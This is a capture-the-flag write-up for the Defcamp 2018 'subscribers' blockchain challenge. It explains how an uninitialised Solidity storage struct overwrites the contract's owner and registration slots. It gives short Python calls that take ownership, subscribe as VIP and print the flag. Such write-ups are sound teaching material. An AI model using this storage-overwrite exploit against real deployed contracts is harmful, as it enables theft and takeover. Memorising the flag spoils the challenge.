Maojui

Defcamp 2018 - subscribers (Blockchain - 352)

2018-11-11

Challenge

Your goal is to subscribe as a VIP. 

Target: http://142.93.103.129:3000

This challenge is an Storage Allocation Description in smart contracts

Vulnerability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function subscribe(address subscriber, uint subscription) public {
require(registration_open > 0);
//only owner can subscribe VIPs
if(subscription == 1) {
require(msg.sender == owner);
}

// ********************* Here *********************
//save new subscribers
Subscriber s;
s.subscription = subscription;
s.subscriber = subscriber;
subscribers.push(s);
// **************************************************

emit newSubscription(subscriber, subscription);
}

Structs in Solidity default to storage.

-> Subscriber s; is a storage pointer, declared in a function with no address assigned.

-> This function will overwrite the storage address 0, and 1.

1
2
uint private registration_open = 0;
address private owner; //address of the owner
  • subscription -> registration_open
  • subscriber -> owner

Exploit

I wrote the function call down to a python code.

1
2
3
4
5
6
7
# register a wallet
password = '12345'
wallet = new_cold_wallet(password)

# Get contract address
cadd = get_victim() # abbr for contract address
wc = contract(cadd,wallet,password) # abbr for working contract

After setting up everything :

1
wc.subscribe(wallet,0) # subscribe(subscriber, subscription)
  • subscriber -> owner
  • subscription -> registration_open

This call, will make your wallet become owner, and close the registration.

But we are owner now, just open it by calling enableRegistration().

1
wc.enableRegistration()  # registration_open = 1

That’s all.

feel free to subscribe as VIP, then get the flag.

1
wc.subscribe(wallet,1)

Smart Contract

DCTF{49fa9bf37efd8d4b2c4ad4ce8a60f8022945bf1f6334c76cd729f2e029cf178c}